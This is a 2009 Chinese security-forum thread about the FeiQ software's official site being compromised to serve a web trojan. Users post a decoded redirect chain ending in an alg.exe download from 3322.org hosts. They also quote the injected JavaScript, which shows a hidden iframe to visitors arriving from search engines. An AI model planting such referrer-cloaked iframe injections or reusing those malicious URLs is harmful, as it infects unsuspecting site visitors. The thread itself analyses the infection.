飞秋官网 www.feiq18.com 有木马 挂马by：taoyuan237

nanan3061

飞秋官网 www.feiq18.com  有木马
这个网站一打开 360 报有网页木马
把360关了 卡巴斯基报木马

[ 本帖最后由 taoyuan237 于 2009-7-26 16:32 编辑 ]

taoyuan237

关于:hxxp://www.feiq18.com/解密的日志(全体输出 -  16):

Level  0>http://www.feiq18.com/
Level  1>http://www.feiq18.com/include/js/common.js?ivc
Level  2>http://disk.e165.com/new.js
Level  3>http://fdsa332dd.3322.org/ok/06.htm?03
Level  4>http://js.tongji.linezing.com/1213759/tongji.js
Level  4>http://fdsa332dd.3322.org/ok/fdsgfdsgrre44556431.html
Level  5>http://fdsa332dd.3322.org/ok/jhgftrdsa.htm
Level  6>http://55566884.3322.org/alg.exe
Level  5>http://fdsa332dd.3322.org/ok/gfddtt.htm
Level  6>http://fdsa332dd.3322.org/ok/go1.jpg
Level  6>http://fdsa332dd.3322.org/ok/go.jpg
Level  7>http://55566884.3322.org/alg.exe
Level  2>http://www.feiq18.com/include/js/src
Level  2>http://www.feiq18.com
Level  1>http://pagead2.googlesyndication.com/pagead/show_ads.js
Level  2>http://googleads.g.doubleclick.net/pagead/test_domain.js

日志由 Redoce2.0第13次修正版于 2009/7/26 16:31:54 生成。

nanan3061

tf 或者 Comodo Firewall 或者Mamutu 只开其中一个能防住吗
我不敢试 请教

29159011

TO KIS2010

nanan3061

为什么上这个网站 现在又没有提示木马啦 一阵一阵的？？

taoyuan237

原帖由 nanan3061 于 2009-7-26 17:05 发表
为什么上这个网站 现在又没有提示木马啦 一阵一阵的？？

只要是从下面的搜索进去的都会执行挂马,某则不会执行.
引用:

var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com","search.cn.yahoo.com","www.soso.com","search.114.vnet.cn","zhidao.baidu.com","seek.3721.com","www.sogou.com","www.google.cn");
if (p>0)
{
document.writeln("<iframe src=http:\/\/fdsa332dd.3322.org\/ok\/06.htm?03 width=111 height=0 border=0><\/iframe>");
}

nanan3061

说的通俗点 那是网站本身有问题 还是搜索引擎有问题 还是？？？
  为什么

taoyuan237

原帖由 nanan3061 于 2009-7-26 17:12 发表
说的通俗点 那是网站本身有问题 还是搜索引擎有问题 还是？？？
  为什么

网站本身有病毒
只不过不会主动执行
只有他判断你是从搜索引擎上连接过来的时候才会执行

nanan3061

那岂不是说这个网站属于恶意网站？

尤金卡巴斯基

url to KL